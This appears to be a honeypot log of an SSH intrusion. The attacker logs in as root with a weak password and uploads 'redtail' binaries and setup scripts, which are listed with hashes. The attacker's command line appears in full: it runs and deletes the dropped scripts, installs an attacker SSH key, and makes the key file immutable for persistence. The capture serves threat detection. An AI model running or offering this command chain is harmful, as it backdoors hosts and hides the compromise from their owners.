Session
crimson-nimble-meerkat
Source
77.90.185.20
Protocol
ssh/sftp
User
root
Auth attempts
1
Commands
8
Transcript
994 B
Client
SSH-2.0-Go
exec:
chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"
Credentials attempted
| username | password | method | tier | result |
|---|---|---|---|---|
| root | Qwer1234 | password | other | accepted |
Samples captured
| name | size | via | sha256 |
|---|---|---|---|
| /root/clean.sh | 1157B | sftp | 3f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892 |
| /root/redtail.arm7 | 1448252B | sftp | d70f917e35813a7ae323e6b2b539d6dbbfc3a3a6599f1fed93430b14ca08b141 |
| /root/redtail.arm8 | 1696412B | sftp | d1cac82f44b54b0fd244a9e4122811e9ae108a197c7a65a20fd2e7552683e68e |
| /root/redtail.i686 | 1838060B | sftp | 8e1a67a5c03b3cd818f046c7a1605afccc0ee5ce437a0d099881f1872b54bc70 |
| /root/redtail.riscv | 1759768B | sftp | 3f3bf218089d1488617d37f8a5116bb2791eb39ce06a1b5bc9a4cdfe5e94dd39 |
| /root/redtail.x86_64 | 1989056B | sftp | f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987 |
| /root/setup.sh | 2126B | sftp | 1e70b63472772e3f5092ffe9c3573470e73590e6ab6d93fdcede1d368a5fd72d |
Transcript
07:29:14 $ chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A" 07:29:14 $ [sftp upload] /root/clean.sh (1157 bytes) 07:29:15 $ [sftp upload] /root/redtail.arm7 (1448252 bytes) 07:29:15 $ [sftp upload] /root/setup.sh (2126 bytes) 07:29:15 $ [sftp upload] /root/redtail.arm8 (1696412 bytes) 07:29:15 $ [sftp upload] /root/redtail.i686 (1838060 bytes) 07:29:15 $ [sftp upload] /root/redtail.riscv (1759768 bytes) 07:29:15 $ [sftp upload] /root/redtail.x86_64 (1989056 bytes)